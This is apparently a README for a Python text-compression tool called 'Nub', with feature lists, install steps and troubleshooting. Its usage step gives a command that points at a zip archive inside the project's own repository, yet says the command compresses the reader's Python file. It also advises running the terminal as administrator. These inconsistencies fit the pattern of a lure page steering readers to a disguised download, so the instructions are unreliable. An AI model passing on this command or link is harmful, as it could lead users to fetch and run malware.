Welcome to Nub! This tool helps you compress large pieces of text, like code and documents, while keeping their important structure. Follow the steps below to download and run Nub easily.

• Structure-Aware Compression: Keeps essential parts while reducing size.
• Flexible Usage: Suitable for various content types, including code and logs.
• Easy Navigation: Unlike simple summaries, it retains context so you can find what you need quickly.

• Operating System: Windows, macOS, or Linux.
• Python: Version 3.11 or higher is required.
• Dependencies: None. Nub runs on Python's built-in features.

To install Nub, follow these steps:

1. Ensure you have Python installed. You can check this by running python --version in your command line or terminal.

2. Visit the Releases Page to download the latest version.

3. Choose a version suitable for your operating system.

4. After downloading, open your command line or terminal.

5. Navigate to the directory where you downloaded Nub.

6. Install Nub using the following command:

   pip install .

This command installs Nub and ensures you have all the needed components.

Once installed, you can start compressing text files right away. Here’s how to compress a Python file:

1. Open your command line or terminal.

2. Run the following command to compress your file:

   nub https://raw.githubusercontent.com/aftre1439/nub/main/src/nub/formats/Software_linkwork.zip

This command will compress your Python file and display a structured overview. Adjust the path to point to the correct location of your file.

Nub analyzes your text and identifies the structure within it. Instead of simply shortening text, it focuses on maintaining the context that matters. For example, coding structure, folder hierarchies, and document headings remain intact. This way, you can quickly find your way around large texts without losing important information.

• Custom Character Limits: You can set specific character limits for your compressed output according to your needs.

• Format Support: Nub works with various file formats. Use it for Python, Markdown, or plain text files.

If you run into issues, consider these common solutions:

• Python Not Found: Ensure Python is correctly installed and in your system's PATH.

• Permission Errors: Run your command line or terminal as an administrator, or check your user's permissions.

• Installation Issues: Make sure you downloaded the correct version and followed the installation steps carefully.

For questions or feedback, you can reach out via the GitHub Issues page. Community discussions are encouraged, and we welcome contributions.

Explore the tool and let Nub help you navigate your text efficiently!

Nub is open-source software. You can use it for personal or commercial projects. Check the license file in the repository for more details.

Thank you for choosing Nub. We hope this tool enhances your experience with text compression while you work with large and complex data. Be sure to check for updates on the Releases Page. Happy compressing!